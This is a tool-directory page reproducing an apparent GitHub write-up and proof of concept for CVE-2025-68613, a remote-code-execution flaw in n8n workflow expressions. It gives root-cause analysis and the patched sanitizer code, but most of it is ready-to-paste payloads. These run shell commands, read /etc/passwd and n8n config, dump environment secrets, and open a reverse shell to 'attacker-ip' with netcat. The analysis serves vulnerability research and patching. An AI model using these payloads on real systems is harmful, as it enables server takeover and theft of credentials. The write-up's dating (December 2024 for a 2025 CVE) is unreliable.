Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-68613-poc-via-copilot — Detailed technical analysis and proof-of-concept for CVE-2025-68613, a critical RCE vulnerability in n8n expression evaluation via IIFE this-context bypass. Includes root cause analysis, exploit vectors, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Detailed technical analysis and proof-of-concept for CVE-2025-68613, a critical RCE vulnerability in n8n expression evaluation via IIFE this-context bypass. Includes root cause analysis, exploit vectors, and mitigation guidance.

View Repository
119 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

✅ CVE-2025-68613 n8n Expression Injection RCE Vulnerability Complete Analysis

Date: December 23, 2024 Status: ✅ RCE Fully Verified CVSS Score: 10.0 (Critical)


🎉 Successful RCE Payload

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Execution Result: Successfully returned system user information (e.g., uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Vulnerability Principle In-Depth Analysis

Core Vulnerability: IIFE's this Context Not Sanitized

1. Expression Evaluation Flow

User Input
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Create data context object
  ↓
data.process = reference to real process object
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Key: this = data
  ↓
IIFE execution
  ↓
this.process.mainModule.require ← ⚠️ Access real require
  ↓
Load child_process module
  ↓
execSync('id') ← 🔥 Full RCE!

2. Key Code Locations

Location 1: Data Context Creation

File: packages/workflow/src/expression.ts Function: Expression.resolveSimpleParameterValue() Lines: Approximately 230-290

// Generate data proxy
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Vulnerability Point 1: Add process object to data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Issue: Although only some properties are exposed here, object references are passed
// The actual process object can still be accessed via prototype chain or other methods
Location 2: Tournament Evaluation

File: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Vulnerability Point 2: Pass data as this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Vulnerability Point 3: Use new Function to create function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Location 3: Missing this Sanitization

File: packages/workflow/src/expression-sandboxing.ts

Before v1.122.0:

// ❌ No FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Empty array, no this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

After v1.122.0:

// ✅ Added FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← New hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer implementation
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Rewrite all function expressions to explicitly bind this to a safe object
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Rewrite function() { ... } to function() { ... }.bind({ process: {} })
		}
	});
};
Location 4: Incomplete Property Blacklist

File: packages/workflow/src/utils.ts Function: isSafeObjectProperty()

Before v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Missing mainModule, binding, _load

After v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Added
	'binding',       // ✅ Added
	'_load'          // ✅ Added
]);

💣 Complete Exploitation Techniques

1. Basic RCE

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Execute Arbitrary Commands

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. File System Access

// Read sensitive files
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// List directories
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Read n8n config
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// List current directory
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Full Environment Variable Disclosure (Combined with Previous Findings)

// Direct access via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Or using a known working method
{
	{
		JSON.stringify(process.env)
	}
}

5. Network Access (Reverse Shell Preparation)

// Check for network tools
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Get network interfaces
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Dangerous! Authorized testing only)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Vulnerability Verification Results Summary

✅ Confirmed Exploitable Attack Vectors

#Attack TypePayloadStatusCVSS
1Environment Variable Leak{{ Object.keys(process.env) }}✅ Success8.5
2Constructor Bypass{{ [][constructor] }}✅ Success8.0
3Function Constructor{{ [][constructor][constructor] }}✅ Success8.5
4Code Execution{{ [][constructor][constructor]('return 1+1')() }}✅ Success9.0
5Full RCE{{ (function() { this.process.mainModule.require... })() }}✅ Success10.0

❌ Blocked Attacks (In Your Testing)

Download Tool